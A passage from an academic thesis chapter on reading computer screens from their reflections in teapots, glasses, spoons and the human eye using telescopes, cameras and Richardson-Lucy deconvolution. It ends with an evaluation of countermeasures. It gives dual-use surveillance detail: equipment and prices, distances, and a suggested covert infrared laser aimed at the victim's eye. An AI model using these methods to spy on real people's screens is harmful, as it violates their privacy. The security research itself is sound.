ent; it uses spatial variations only and is applicable to any monitor technology.

Reflections of images from a human eye were briefly considered previously [89],
but without considering the implications on security, in particular only for small
distances using a macro lens, and without taking diffraction into account; the
most important questions still remained open. Status LEDs of several devices
were shown to leak information [73]. Text typed on a keyboard was shown to be
reconstructible from a video fully automated [14].

A comprehensive description of astronomic image processing, including var-
ious imaging systems, practical acquisition and advanced post-processing tech-
niques is provided in the book by Berry and Burnell [21]. The application of
deconvolution to astronomic imaging is surveyed in a paper by Starck, Pantin,
and Murtagh [118]. The Richardson-Lucy (RL) deconvolution was described in-
dependently by Richardson [103] and by Lucy [74]. Other common (non-blind)
deconvolution algorithms include van Cittert deconvolution [37] and the Wiener
filter [130]. Furthermore, modified camera designs, including a synthetic high-
speed shutter operated with coded temporal patterns [119] or a patterned mask
at the aperture plane [101], have been proposed to counteract motion or out-of-
focus blur, respectively. Yuan et al. [134] presented a technique for combining
a pair of short and long exposure images to remove the motion blur from the
brighter image while preserving the low level of noise.
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2.1.2 Chapter Outline

We give a short introduction to the relevant topics from optics in Section 2.2, and
describe the attack on reflections in stationary objects in Section 2.3. We show
in Section 2.4 that this attack does not necessarily require high-end equipment,
but good quality reconstructions can already be achieved with cheap equipment.
An in-field demonstration of this attack is shown in Section 2.5. We describe
reflections in moving objects such as the human eye, which are much harder to
capture, in Section 2.6. In Section 2.7, we consider the case of diffuse reflections
and describe principal limitations. We describe and evaluate several practical
countermeasures in Section 2.8, and provide some final remarks and a practical
evaluation in Section 2.9.

2.2 Optics Primer

We start with describing the parameters of the optical system that affect the
image quality. This gives us a better understanding of the experimental results,
and it provides the basis for deriving lower bounds.

2.2.1 Size of the Reflected Image

The reflection of an object in a curved mirror creates a virtual image that is
located behind the reflecting surface. For a flat mirror this virtual image has the
same size and is located behind the mirror at the same distance as the original
object. For curved mirrors, however, the situation is more complex. The setup
is depicted in Figures 2.5 and 2.6.

Commonly a spherical mirror is approximated as a lens of focal length f0 = r
2 ,

provided that the width of the mirror is small compared to its radius. The
location b0 of the virtual image (the distance between the virtual image and the
reflecting surface), given the location a0 of the object, is given by the thin lens
equation as

b0 =
1

2
r
− 1

a0

.

The size u0 of the virtual image is given by u0 = b0x
a0

. Finally, we have to consider
that the image appears smaller if seen from an angle γ; the apparent size u1 is
u1 = u0 · cos(γ).

Let the distance from the monitor to the observer be d, and let n be the
desired resolution; the desired resolution can be the actual monitor resolution,
but typically will be lower, depending on the scenario. In the following we use
the full resolution, but we discuss later how these results scale with a lower
resolution. The optical resolution α (in radians) required to capture the full
resolution is given by α = arctan u1

nd
≈ u1

nd
, where the approximation holds as
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Figure 2.5: Size and location of the reflected image. The curvature of the sphere in the
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u1 � d and tanα ≈ α for α ≈ 0. In particular, α is approximately linear in the
inverse of the distance d (smaller values of α correspond to higher resolution).

2.2.2 Diffraction Bounds

Diffraction is a physical phenomenon that diffuses light, or any other electromag-
netic wave, whenever it passes an aperture. It is best known for tiny apertures,
where the resulting diffusion is visible to the human eye. In the case of high mag-
nifications, however, even a large aperture like the one of a telescope produces
noticeable diffraction. Diffraction constitutes one of the limiting parameters in
the use of modern telescopes.

The influence of diffraction on the maximum resolution of a telescope is given
by Rayleigh’s Criterion. Let two point sources P1, P2 be given such that the angle
between these two sources (as seen by the observer) is α (in radians). Let D be
the diameter of the telescope’s aperture and λ the wavelength of the light. Then
Rayleigh’s Criterion states that the two points P1, P2 can be distinguished if and
only if

α ≥
1.22λ

D
,

where the factor 1.22 is a numerical approximation to the position of the first
minimum of the diffraction pattern of a circular aperture. Our experimental
results are close to the theoretical bound given by Rayleigh’s Criterion.

2.2.3 Exposure Time

Another important factor in our experiments was the exposure time. Since the
exposure time depends on many practical factors in the setup (quality of the
lenses, brightness of the screen, color of the reflecting object, sensitivity of the
film/chip in the camera, etc.) it does not seem possible to give reasonable the-
oretical bounds on the exposure time. However, the exposure time is inversely
proportional to the intensity of the light per square angle reaching the camera.
Thus, if all other values are fixed, the necessary exposure time is proportional
to the square of the magnification and inversely proportional to the square of
the aperture diameter. (The distance does not directly influence the exposure
time, but a larger distance is usually compensated by a larger magnification, and
hence the distance indirectly influences the exposure time.) Given experimental
values for a given setup, this allows us to at least estimate the necessary exposure
time for settings that vary only in these parameters, e.g., when deciding which
telescope size is necessary for a given setup. Furthermore, by comparing our
equipment with other available equipment, we at least obtain an estimate when
the attacker does not use specifically manufactured, and possibly very expensive,
equipment.

There is no principal upper bound on the exposure time. However, changing
monitor images, moving objects, and air turbulences caused by heating or air
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Figure 2.7: The test image used in most of our experiments. Font sizes are 300 px,
150 px, 72 px, 36 px, and 18 px, where one pixel (px) has a height of approximately
0.30 mm.

conditioning can blur the image. Exposure times of several seconds seem plausible.
For moving objects, in particular for the human eye, much shorter exposure times
are required, as the rapid movement of the eye substantially blurs images even
with exposure times of 0.1 seconds.

2.3 Reflections in Stationary Objects

Stationary objects such as tea pots, water glasses, eye glasses (resting on a table),
plastic bottles, and many more can be used to spy on confidential data. Either
these objects are already present in the office (practice shows that this often is
the case), or placing these objects there does not rise suspicion. Particularly
useful are curved objects: Flat reflecting objects are not very common, and the
reflections only cover a small area of the office. Curved objects, on the contrary,
are common and cover large areas of the room. The drawback is, however, that
they act as lenses and provide miniaturized reflections only. This, in turn, requires
large magnifications, and thus the amount of light that can be captured is small.
For stationary objects, however, this can typically be compensated using longer
exposure times.

2.3.1 Equipment and Setup

For the experiments presented in this section we use the following equipment.

• A digital SLR (single-lens reflex) camera Canon EOS 400D with a resolu-
tion of 10.1 mega-pixels and a sensor size of 22.2 mm × 14.8 mm. It costs
approximately 550 Euros (800 dollars) in 2008.

• A Celestron C9.25 Schmidt-Cassegrain telescope. The Schmidt-Cassegrain
construction is more compact than the classical Newton-design (it has a
length of 580 mm only at a focal length of 2350 mm), and typically offers
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Figure 2.8: Reflections in a tea pot, taken from a distance of 20 meters.

Figure 2.9: Reflections in a second teapot, taken from a distance of 20 meters.

Figure 2.10: Reflections in a coffee pot, taken from a distance of 20 meters.
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Figure 2.11: Reflections in sunglasses, taken from a distance of 10 meters.

Figure 2.12: Reflections in an empty wine glass, taken from a distance of 10 meters.
The upper images show reflections on the outer side, the lower images show reflections
on the inner side.

Figure 2.13: Reflections in a 0.5 l plastic bottle, taken from a distance of 10 meters.
The distortions are caused by the irregular surface of the bottle.
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a better image quality than Newton telescopes. (There are high-quality
Newton telescopes as well, but these are rare and equally expensive as
Schmidt-Cassegrain telescopes.) The aperture is 235 mm in diameter.

• For the images from a distance of 20 meters, the camera is mounted on the
telescope with a projection camera adapter using a 25 mm eye piece and
extension tubes to allow for the short object distances.3 For images from
a distance of 10 meters, the required magnification is lower than for larger
distances, thus we placed the camera directly in the focus of the telescope.
This means that the magnification is lower, but the image quality is higher,
as fewer optical elements are in the optical path. The camera is triggered
by remote control to reduce the effect of vibrations.

The experiments in this section are performed indoors. When applying the
attack in-field, differences between the outdoor and indoor temperatures and
poorly insulated windows can cause air turbulence that affect image quality. The
experiments shown in Section 2.5 indicate that this does not constitute a serious
problem and only slightly affects image quality.

2.3.2 Experimental Results

In the following, we consider the test image depicted in Figure 2.7 shown on
the 15” LCD screen of a ThinkPad T43. A reflecting object is placed on the
table next to the LCD screen at a distance of 0.5 meters. Then we capture the
reflection of the screen in the object using the telescope.

Reflections in Tea Pots. Tea pots are common objects in a typical office. At
the same time, many tea pots provide excellent reflections: often they are made
of glass, ceramic, or metal, and their radius is large enough to provide rather
large reflections. Reflections in the tea pot which is used daily by the author
are shown in Figure 2.8. The quality of the reflection is excellent and essentially
limited by diffraction. Reflections in another tea pot are shown in Figure 2.9,
reflections in a coffee pot are shown in Figure 2.10; these reflections are equally
good.

Reflections in Glasses. Eyeglasses or sunglasses are another prevalent reflect-
ing object. The reflections shown in Figure 2.11 are taken with the glasses resting
on a table; the quality of the reflection is similar to before. The attack even works
when the glasses are equipped with an anti-reflecting coating.

3The intended object distance for telescopes is larger than 384 403 km (the distance to the
moon), thus an object distance of 20 meters is considered short in this context.
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Figure 2.14: Reflections at the inner side and at the outer side of a spoon, taken from
a distance of 10 meters.

Reflections in Other Objects. A surprisingly large number of objects yields
good reflections. The following three examples were captured from a distance
of 10 meters. The reflections in an empty wine glass are shown in Figure 2.12.
The double reflections are caused by the two faces of one side of the glass. The
other side of the glass cannot be seen as it is outside the range of distances that
appear sharp. An ordinary plastic bottle produces reasonable reflections as well,
see Figure 2.13. Depending on the exact position and the exact shape of the
bottle, the image can be heavily distorted. Even a spoon has clear reflections,
both on its inner and outer side, see Figure 2.14.

2.4 Experimental Results for Low-Cost Equipment

In this section we demonstrate that the attack from the previous section can
also be carried out with much cheaper equipment, at the cost of a slightly lower
quality. The setup is the same as in the previous section. We use the following
equipment for our experiments.

• A Skywatcher Dobson 200, an ordinary Newtonian reflector telescope, with
focal length f = 1000mm and an aperture of D = 200mm. Its simple design
has impacts on image quality, mostly caused by a less precise main mirror
which gives images that are less sharp. It costs approximately 300 Euros
(435 dollars), which is substantially cheaper than the telescope we used in
the previous section.

• We use the same camera as before (Canon EOS 400D), but we expect that
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Figure 2.15: Reflections in a tea pot, taken from a distance of 10 meters. The 18 px
font is readable from the reflection.

Figure 2.16: Reflections in two other tea pots, taken from a distance of 5 meters. The
18 px font is readable from the reflection in the top picture, and almost readable in the
bottom picture.

Figure 2.17: Reflections in eye-glasses, taken from a distance of 5 meters. Both the
inner side and the outer side of glasses produce reflections. The 18 px font is readable
from the reflection.
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Figure 2.18: Reflections in an empty wine glass, taken from a distance of 5 meters.
Reflections occur on both sides of the glass. The 18px font is readable from the reflection.

Figure 2.19: Reflections in a 0.5 l plastic bottle, taken from a distance of 5 meters.
Because of the irregular surface, only parts of the text are readable.

Figure 2.20: Reflections at the inner side and at the outer side of a spoon, taken from
a distance of 5 meters. The 18 px font is readable from the reflection in the right figure,
and almost readable in the left figure.
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Figure 2.21: The attack in-field. The distance between the telescope and the office
was approximately 18 meters (left), the desk where the monitor shows our test image
(middle), and the captured reflections (right).

even cheaper SLR cameras yield comparable results. As before, projection
camera adapter, eye piece, and extension tubes are used.

The results we show in the remainder of this section are not as good as before, tak-
ing into account the smaller distance, but still good given that cheap equipment
that was used.

Reflections in Tea Pots. Again, we obtain excellent reflections in various tea
pots. Reflections taken from 10 meters in three different tea pots are shown in
Figures 2.15 and 2.16.

Reflections in Eyeglasses. The pictures in Figures 2.17 show reflections in
eyeglasses from a distance of 5 meters. These eye-glasses were both equipped
with an anti-reflecting coating, which does not substantially hinder the attack.

Reflections in Other Objects. The following three examples are captured
from a distance of 5 meters. The reflections in an empty wine glass are shown in
Figure 2.18. An ordinary plastic bottle produces reasonable reflections as well,
see Figure 2.19. Reflections in a spoon, both on its inner and outer side, can be
see in Figure 2.20.

2.5 In-Field Attack

Finally, for the sake of exposition, we mounted the attack in-field. Figure 2.21
shows the setup of the attack, the office that we spied on, and the reflections we
captured. Because of privacy (laws), we informed the user upfront and asked for
his permission to mount the attack. We displayed our test image on the screen
for privacy reasons, and for comparability with lab experiments.
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2.6 Reflections in the Human Eye

Figure 2.22: The human eye.

There are a number of differences compared to lab conditions, including the
following: (i) The reflections are captured through a window, which might in-
troduce additional reflections or noise. (ii) The turned-on heating causes air
turbulences that could lower the image quality. (iii) Rain and wind (that were
present during the attack) could additionally affect image quality. However, the
results in Figure 2.21 show that the influence of these factors is only moderate.
The fourth line of our test chart is still readable in the captured reflections, which
means that the resolution we obtained is approximately half of the resolution we
typically obtained under lab conditions.

2.6 Reflections in the Human Eye

The human eye produces excellent reflections, as experiments from a short dis-
tance show (see Figure 2.3). In principle, this enables us to exploit the reflections
in the user’s eye to spy on the monitor. However, in practice it is difficult to cap-
ture these reflections, as noise and blur substantially reduce the image quality:
First, the eye’s strong curvature (the cornea of a typical human eye has a radius
of approximately 7.8 mm [89, 61]) requires strong magnification to observe the
reflections at a large distance. Consequently, the amount of light that is avail-
able to observe the reflections is strongly limited, calling for exposure times of
several seconds for typical SLR-cameras (both consumer-grade and professional
ones) [12]. Second, the human eye is steadily and subconsciously moving, caus-
ing a large amount of motion blur. Third, the depth-of-field, i.e., the range of
distances at which objects appear sufficiently sharp, is very small when using
telescopes, adding out-of-focus blur.

In the following we show how to use image deconvolution algorithms to over-
come these problems in realistic settings and remove the blur from the reflections
in the user’s eye. In Section 2.6.1 we give an introduction to image deconvolution,
in Section 2.6.2 we describe the types of blur that occur in our setting, and in
Section 2.6.3 we give some details on the hardware we used. In Section 2.6.4 and
Section 2.6.5 we describe two different methods that one can use to capture the
PSF. Finally, in Section 2.6.6 we present the final results. We discuss some pos-
sible extensions to increase the applicability of the attack in practical scenarios
in Section 2.6.7.
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Figure 2.23: Example of an image (in the eye, from 10 meters) with the PSF captured
at the same time (left), the PSF extracted from the small glint to the right of the monitor
reflection (middle), and the result of deconvolution (right).

2.6.1 Image Deconvolution Primer

Blur is usually described by a point spread function (PSF) H(x, y) which models
the redistribution of energy from each point y of the (unobservable) sharp image g
to each point x of the blurred image f , i.e.,

f(x) =
∑

y

H(x, y) · g(y).

In many cases, the PSF can be assumed to be spatially invariant, i.e., the
distribution of energy from different source points is equal up to translation,
H(x, y) ≡ h(y − x). Then the equation becomes f(x) =

∑

x h(x− y) · g(y) or

f = g ∗ h,

where ∗ denotes the convolution operation. Additionally assuming an additive
measurement noise n on the blurred image, the observed image f depends on the
sharp image g via

f = g ∗ h+ n.

Due to the ubiquity of blur, its removal – deblurring or deconvolution – has
long been a subject of investigation, and many algorithms have been devised.
However, the deconvolution problem is highly ill-posed (i.e., the solution is not
necessarily unique, and small perturbations in the input may lead to big pertur-
bations in the output), and no method suits all needs equally well.

A time-proven approach to deconvolution is the Wiener filter [130]. It exploits
the convolution theorem to restate the problem in the Fourier domain as

f̂ = ĝ · ĥ+ n̂.

An approximation to ĝ could then be computed by inverse filtering û = f̂ /ĥ,
but this runs into problems at frequencies where ĥ is small. Wiener filtering
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regularizes the process at exactly these frequencies, yielding

û =
1

ĥ
·
|ĥ|2

|ĥ|2 +K2
· f̂ (2.1)

with a parameter K > 0. Combined with Fast Fourier Transformation, this is
a fast and simple linear filtering procedure that can be proven to be optimal in
terms of mean squared error when the noise n is Gaussian. However, as a linear
method it is bound to produce the visually unpleasant “ringing” artifacts [22].
Moreover, its performance decreases in the presence of non-Gaussian noise, and
it is not robust to small imprecisions in PSF estimates, or small violations of
spatial invariance.

A widespread alternative is Richardson-Lucy deconvolution (RL) [103, 74].
RL deconvolution is computationally more costly than the Wiener filter, but still
sufficiently fast for our application. It is a simple nonlinear iteration, one step of
which reads

uk+1 =

(

h∗ ∗

(

f

uk ∗ h

))

· uk (2.2)

where h∗(x) = h(−x) and division and multiplication (·) are point-wise. This
algorithm is better adapted to Poisson noise in the data; in particular, the posi-
tivity of gray-values is a built-in constraint. In absence of noise, the sharp image
g would be a fixed point of (2.2). For deblurring the reflections captured in the
eye we use Richardson-Lucy deconvolution.

However, due to the ill-posedness of deconvolution, even small perturbations
are amplified over time such that after a while noise begins to dominate the
filtered image. To control this effect, the deconvolution process can be regularized
using the number of iterations, with fewer iterations meaning less sharpness, but
also less noise; we will see this in Section 2.7.1.

2.6.2 Out-of-Focus Blur and Motion Blur

In any image captured with a large enough aperture, objects that are either closer
or farther away than the selected focus distance appear blurred. This out-of-focus
blur is often quite moderate for medium aperture SLR cameras – and sometimes
even desirable in photography as a visual effect. In our application, as a large
aperture telescope is applied to gather more light, the blurring can be rather
drastic, posing a significant obstacle when capturing a high-resolution image of
an object at unknown or varying distance such as the slightly moving eye.

The range of distances in which objects appear “sufficiently sharp” for a
fixed focus setting is called the depth of field (DOF). The notion of “sufficiently
sharp” in image processing applications is related to the circle of confusion, the
area covered by a single object point projected onto the image sensor given the
current focus settings. If the circle of confusion is significantly larger than one
camera pixel, the object appears blurred. For an optical system consisting of a
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single lens with focal length f and aperture D, at a given distance s and for a
pixel size v, the DOF is given by

DOF =

{

2HFDs2

HFD
2−s2

for s < HFD

∞ otherwise

where HFD ≈ fD
v

is the so-called hyper-focal distance, corresponding to the
minimal focal distance such that a point at infinity is still sufficiently sharp. For
our equipment we have f = 2350 mm, D = 235 mm, d ≈ 10 m, and v = 6.8 µm.
Consequently, the DOF is approximately 2.5 mm only. Our experiments show
that, in particular for moving objects, such a small DOF is a major challenge for
taking sharp images.

Additionally, with the required exposure times of more than one second, it is
obvious that the object, i.e., the person we spy on and in particular his eye, will
not be steady but move, causing a substantial amount of motion blur . Previous
work to eliminate motion blur from images (e.g. [119, 101, 134]) are not imme-
diately applicable to our setting, since the strong curvature of the eye leads to
additional distortions that are not addressed by prior techniques.

We apply non-blind deconvolution techniques to address the problem of mo-
tion and out-of-focus blur [103, 74]. Both motion and out-of-focus blur have
the effect of convolving the desired image with the point-spread function (PSF).
Once we obtain the correct PSF we can use the deconvolution techniques from
Section 2.6.1 to obtain a sharper image.

2.6.3 Equipment

In order to reduce the exposure time, one major source of blur, we use a more
light-sensitive camera. We chose an astronomical camera since they are widely
available at reasonable prices and have a quantum efficiency (the percentage of
photons that arrive at the camera sensor which are actually counted) close to the
theoretical optimum.4

• We use an SBIG ST-10XME astronomical camera. Its main characteristics
are the large pixel size of 6.8µm, the absence of color filters inside the camera
that would block light (the camera is monochromatic), the resolution of
16 bits per pixel, and its high quantum efficiency of 90 % for wavelengths
around 600nm (green/yellow) and larger than 50% over the whole range of
visible light [106]. Its resolution of 2184 × 1472 is sufficiently high for our
purposes, and the price is still reasonable (approximately 6000 dollars).

• We use the same Celestron C9.25 telescope as in Section 2.3, which has
a focal length of 2350 mm and an aperture of 235 mm. The camera was
mounted in focus, no projection was used.

4Astronomic cameras are additionally optimized for long exposure times, a feature we do not
need for taking reflections from the eye, but which still can be helpful with stationary objects.
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Figure 2.24: A sequence of measured PSFs, after stacking and post-processing. Their
circular shape coined the notion of “circles of confusion” in astronomic imaging.

Figure 2.25: Example of an unsharp image with unknown PSF (first image), and the
results from deconvolution using the series of PSFs from above. The fourth PSF yields
the best result.

2.6.4 Offline-Measurement of the PSF

Out-of-focus blur can be quite accurately removed from an image, provided that
the PSF can be measured accurately. This is the case when the exact location of
both the focus plane and the object are known.

For a moving target, however, the exact locations are typically not known. In
this section we show that good results can be achieved by measuring a series of
PSFs for varying distances and trying to deconvolve the blurred image with each
of them, followed by manually selecting the best image. The main advantage of
measuring the PSFs offline is that we can use long exposure times when capturing
the PSF, thus we obtain an accurate PSF with low noise, which is crucial for
deconvolution algorithms to work well.
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Figure 2.26: Removing out-of-focus blur with deconvolution: blurred image (left), the
measured PSF (middle), and the result of deconvolution (right). These images were
taken from a stationary object, the correct PSF was measured.

More sophisticated methods for determining the PSF exist [134, 45]. However,
our experiments show that these have problems when faced with the significant
amount of noise that is present in our measurements. Our method has the advan-
tage that it is more robust and tolerates some errors in the measurement. Even
dim images can be enhanced significantly.

For the a priori calibration, we use a bright source of light (a white LED) with
a circular mask and capture its reflection in a small sphere. Taking its reflection
in a sphere greatly decreases the light’s apparent size so that it closely resem-
bles a true point light source. We capture several such images under identical
conditions and average over them to further decrease the noise level, which is a
standard technique in astronomical imaging. A sequence of such measured PSFs
for different levels of out-of-focus blur is displayed in Figure 2.24. The circular
shape of the measured PSFs is slightly irregular due to slight imperfections of
the telescope.

Once we obtain a sufficiently large sequence of measured PSFs, given an
unsharp image, we run the deconvolution algorithm with each of these measured
PSFs as input. Finally, we select the output image that gives the sharpest results
by visual inspection.

2.6.5 Online-Measurement of the PSF

In this section we consider an alternative method to measure the PSF, that allows
us to determine the precise PSF that was effective in a particular measurement. In
addition to accurately dealing with out-of focus blur, this technique also measures
any motion blur that occurs while capturing the image. Basically, the technique
relies on having a single bright point light source with a dark surrounding area
close to the monitor; the image of this single point on the sensor then constitutes
the PSF.

We propose the following approach: An invisible laser light source is mounted
close to the telescope. It points at the user’s eye, with an intensity that is not
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Figure 2.27: Example of an extremely blurred image, captured from the eye from a
distance of 10 meters, with the PSF captured at the same time (left), the extracted PSF
(middle), and the result of deconvolution (right).

harmful for the eye. The reflection of both the monitor and the laser light is
captured with the same telescope. On the camera side of the telescope, the
captured light passes a selective mirror that reflects visible light while letting
infrared light pass through. After additional filtering, both light paths can be
captured separately as usual.5

In this measurement, infrared light is preferable over visible light, as it facil-
itates the task of separating the PSF from background light, and it additionally
does not capture the attention and hence the suspicion of the observed user.
However, the use of bright invisible light sources is prohibitively dangerous for
academic purposes. We hence implement the same technique with visible light
instead; the overall approach does not change: We mount a bright white LED
next to the monitor, and capture both the reflection of the monitor and the re-
flection of the LED with the same camera, separating the monitor image and the
PSF by hand. We believe that both approaches give comparable results.

2.6.6 Experimental Results

Results with the PSF measured offline are shown in Figure 2.25. We obtain a
sufficiently large number of measured PSFs and run the deconvolution algorithm
with each of these measured PSFs. Finally, we select the output image that gives
the best results. This approach works well if there is no motion blur present in
the captured image, thus it is useful when spying on stationary objects. The
advantage of this method is that the PSF can be accurately measured offline,
since one can use long exposures times to reduce the noise level and to increase
the image quality. However, if the captured image contains some motion blur,
this approach performs rather poorly.

When spying on the human eye, measuring the PSF online performs much
better. Two blurred images are shown on the left side of Figure 2.23 and 2.27. The

5Some care has to be taken to remove potential effects from different chromatic aberrations
caused by the different wavelengths, and possibly different sensor characteristics.
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PSF is extracted from the images as shown in the respective middle images. The
result after deconvolution (200 iterations, approximately 1 minute on an ordinary
desktop machine) is shown in the respective right images. The Wiener filter runs
faster, but yields slightly worse results.

2.6.7 Possible Improvements

Some additional improvements and variations seem to be possible; we discuss
some of them in the sequel. First, one could use other sources of light to measure
the PSF. For example, status LEDs of the monitor or other devices might be
usable. Colored LEDs constitute particularly promising candidates because their
typically narrow spectrum is well-suited for a matching filter to yield a good con-
trast. Even stationary light sources such as lights at a nearby parking lot might
be suitable. Second, accurately focusing on moving objects is still challenging. A
conveniently usable and precise auto-focuser, a feature that is available in almost
any modern camera, would be a great help. However, designing an auto-focuser
that can handle a very narrow depth-of-field and moving objects and has the
accuracy that is needed for successfully recovering information from captured
reflections seems to be a non-trivial task.

2.7 Diffuse Reflections

So far we have seen that reflections in glossy surfaces like a tea pot or an eye reflect
a clear picture of the information on a near-by screen. Next, we demonstrate that
one can also take advantage of reflections in diffuse surfaces.

A diffuse surface is lit up homogeneously according to the total emitted light
of the screen as the reflection of each surface point integrates over all directions,
i.e., over all pixels on the screen. In this typical setup, the spatial variation
on a diffuse surface caused by a near-by screen is therefore too smooth to be
informative. However, a clear picture is formed if a sharp pattern is projected
onto the diffuse surface. This is, e.g., the case for a video projector.

Ironically, the user’s attempt to increase his privacy may actually lead to
weaker privacy: the reconstruction works better if the user is using a privacy
filter to protect himself from somebody spying over his shoulder. Using a privacy
filter on a monitor limits the range of directions into which a monitor emits light,
so an observer looking at the screen from a shallow angle might observe a dark
screen. Depending on the width of the emitted cone, the screen with the privacy
filter acts as an unfocused projector and causes a spatially varying pattern on a
near-by diffuse surface, forming a blurred image.

In Section 2.7.1 we describe an improved algorithm for image deconvolution.
In Section 2.7.2 we show that by applying deconvolution, a coarse structure of
the displayed image becomes visible. However, the resolution is limited as the
emitted cones are typically still too wide to reconstruct a sharp image, due to
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largely overlapping PSFs. In Section 2.7.3 we show how to effectively limit the
obtainable resolution for a certain setting.

2.7.1 Advanced Image Deconvolution

Standard Richardson-Lucy deconvolution (Section 2.6.1) is not sufficient in this
scenario, as the PSFs we have to deal with are much larger in the case of diffuse
reflections. Thus, stronger deconvolution algorithms are required. In this sec-
tion we describe a recent variant of Richardson-Lucy deconvolution called robust
and regularized Richardson-Lucy deconvolution (RRRL). While RRRL achieves
a higher reconstruction quality than standard RL, its computational cost is sig-
nificantly higher, therefore we reserve its use to those cases where standard RL
gives no reasonable results.6

To improve the reconstruction of image structures in RL, an additional reg-
ularization was introduced by Dey et al. [41]. It is derived from total variation
(TV) regularization [91], which plays an important role in contemporary image
processing. In contrast to the regularization by iteration count, the regularization
at different image locations adapts to image structures, thereby more accurately
preserving structure (like edges) in the deconvolution process.

Another strategy that has proven successful in improving image processing
algorithms is robustification [136]. For iterative deconvolution methods, robusti-
fication is done by applying a weighting function with values smaller than one
that gives large errors a reduced weight in the correction step. In this way, the
process gains robustness against outliers, and is better capable of handling strong
noise. Even imprecisions in PSF estimation can be handled, and also moderate
violations of model assumptions such as spatially invariance of blur, or the loss
of information by blurring across image boundaries.

Using both regularization and robustification, one obtains the iteration for-
mula

uk+1 =
h∗ ∗

(

ϕ(rf (u ∗ h)) f

uk∗h

)

+ α
[

div
(

ψ(|∇uk|2)∇uk
)]

+

h∗ ∗ ϕ(rf (uk ∗ h))− α [div (ψ(|∇uk|2)∇uk)]−
uk , (2.3)

which is called robust and regularized Richardson-Lucy deconvolution (RRRL).
Here we use the abbreviation [z]± := 1

2 (z ± |z|), and ϕ,ψ denote monotonically
decreasing nonnegative functions on the nonnegative real numbers. In our experi-
ments, we use ϕ(z) := (z2 +ε)−0.1 and ψ(z) := (z2+ε)−0.5 with a small positive ε.
The asymmetric penalizer function rf (w) = w−f −f ln(w/f) is used to measure
the reconstruction error in step k, i.e., the deviation of uk ∗h from f . The weight
parameter α controls the influence of TV regularization. More details on RRRL
can be found in the manuscript [129].

6Recall that the reconstruction of reflections in the eye was essentially limited by diffraction
blur, thus a stronger deconvolution method does not improve the results.
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Figure 2.28: These images show, from left to right, the reflections caused by the black
background (1), the letter “C” (2), a small 50×50 pixel white block (the “PSF”) (3), the
difference between (3) and (1), i.e., the actual PSF (4), and the result of deconvolution
of (2) subtracted (1), i.e., the letter “C” (5). The luminosity of these images was scaled
individually to increase readability, and (5) is not to scale.

2.7.2 Experimental Results

We use the following setup: We place a monitor with mounted privacy filter
against a white wall, at a distance of 25 cm (this is the depth of the keyboard,
thus it constitutes a lower bound) and capture the diffuse reflections. The monitor
shows a single white letter on black background, with an (unrealistically) large
size of 10cm. The images are captured using the same camera (Canon EOS 400d)
as before. Exposure times are approximately 10 sec at F 5.6 and ISO 100. The
images are captured in RAW file format and converted with the Canon tool with
linear scaling of the intensity values.

It turned out that the black pixels of the monitor leak a substantial amount
of light. This leakage is directed differently than the light emitted by the white
pixels, so it disturbs the deconvolution algorithm. We compensate for this leakage
by capturing an additional image of the reflections for a completely black monitor
image, and we subtract this image from all other images. The result is scaled
down, slightly cropped and completed to a size of 256 × 256 pixels. The PSF is
captured in a similar manner.

On this image and the PSF we apply robust and regularized Richardson-Lucy
deconvolution. Deconvolution runs for 10 000 iterations in 15 minutes on a single
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Figure 2.29: Two more examples for deconvolution: letters “A” (left) and “B” (right).

workstation. Finally, we re-scale, gray-scale and flip the image horizontally, so
the letters appear in the correct orientation. Figure 2.28 shows the process of
capturing the image and the PSF for the letter “C”, Figure 2.29 shows additional
results for the letters “A” and “B”.

2.7.3 Bounds

Next, we give a theoretical bound on the applicability of this kind of attack, and
we see that our results are almost optimal. The light transport from a monitor
image L to the image E formed on the diffuse reflector (both seen as vectors) can
be expressed as the light transport matrix M :

E = ML. (2.4)

To compute M we simulate the light transport. If no privacy filter is used,
we estimate the distribution to follow the function cos4 θ, where θ is the angle
between the viewing direction and the monitor normal. With the privacy filter
in place the emitted light is much more directed, i.e. concentrated around the
normal, resulting in a distribution following cos93.4θ. We compute an entry mij

of the matrix, which describes the amount of light originating from pixel lj that
hits pixel ei, as follows: We take the distance dij (in the plane) from the i-th to
the j-th pixel, compute the angle θ = tan(dij/d) where d is the distance between
the monitor and the wall, and let mij = cos4 θ (or mij = cos93.4 θ).

In order to reconstruct the monitor image L from the captured reflection E,
i.e., to perform the deconvolution, the transport matrix M needs to be inverted
to compute L = M−1E. In Figure 2.30 we plot the condition number , i.e. the

ratio of the maximal to minimal singular value of M (κ(M) = ‖M−1‖
‖M‖ ), that is

correlated to the stability of the inversion process, for different pixel configuration
and distances of the two planes: At a distance of 25 cm one would be able
still resolve a 3 × 3 pixel pattern on a patch of size 10 cm × 10 cm, while the
condition number for a resolution of 4 × 4 pixel is at the border, and resolving
5×5 pixels definitely exceeds numerical stability. In the case of a monitor without
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Figure 2.30: Condition numbers for varying distances and several setups: For a letter
of 10 cm height, the matrix for obtaining a resolution as given, with or without privacy
filter as indicated. In image deconvolution, condition numbers above 100 are considered
hard, and condition numbers above 105 are certainly out of reach.

a privacy filter no reconstruction would be possible if the reflector is more than
6cm away from the scene. These simulated numbers nicely correlate with our real
experiments: While simple letters such as a “C” are still readable when displayed
with a resolution of 3 × 3 pixels, more complex letters such as “A” and “B” are
hardly readable with a resolution of 4× 4 pixels.

2.8 Countermeasures

To better understand the implications of this attack and for providing concerned
people with suitable defense mechanisms it is important to study the principal
limitations of our approach. Our bounds depend on the size of the telescope.
Since the price tag of the telescope is directly related to its size, one can at least
estimate a lower bound for the costs of an attack in a given setting. Furthermore,
in many settings there might be an upper bound on the size of the telescope
because the telescope needs to be hidden somewhere.

2.8.1 Simple Countermeasures

Some simple countermeasures immediately come to mind. Avoiding all reflecting
objects certainly provides some level of security. The main problem with this
approach is that the number of possibly dangerous objects is vast, and that even
eye-glasses and the human eye can pose a threat. Still, avoiding as many objects
as possible makes the attack harder to carry out, so this measure provides a
medium level of security. Using window blinds counters the attack in many cases.
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Costs Security Robustness Comfort

No reflecting objects + ◦ - -
Window blinds + + ◦ -
No place to hide ◦ ◦ ◦ +
Polarization - ◦ ◦ ◦
Colored filters - + + ◦

Table 2.1: Evaluation of several countermeasures.

Reflecting objects Distance d Minimal
(radius r) to the camera aperture D

Tea pot (70 mm) 5 m 16.6 cm
10 m 33.2 cm
20 m 66.4 cm

Human eye (8 mm) 2 m 62 cm
5 m 155 cm
10 m 310 cm

Table 2.2: Some concrete values for the minimal aperture D needed to capture the full
resolution of 1024 pixels.

However, having the windows always covered completely is not overly practical.
Blinds may be partially opened accidentally or by a person not aware of the
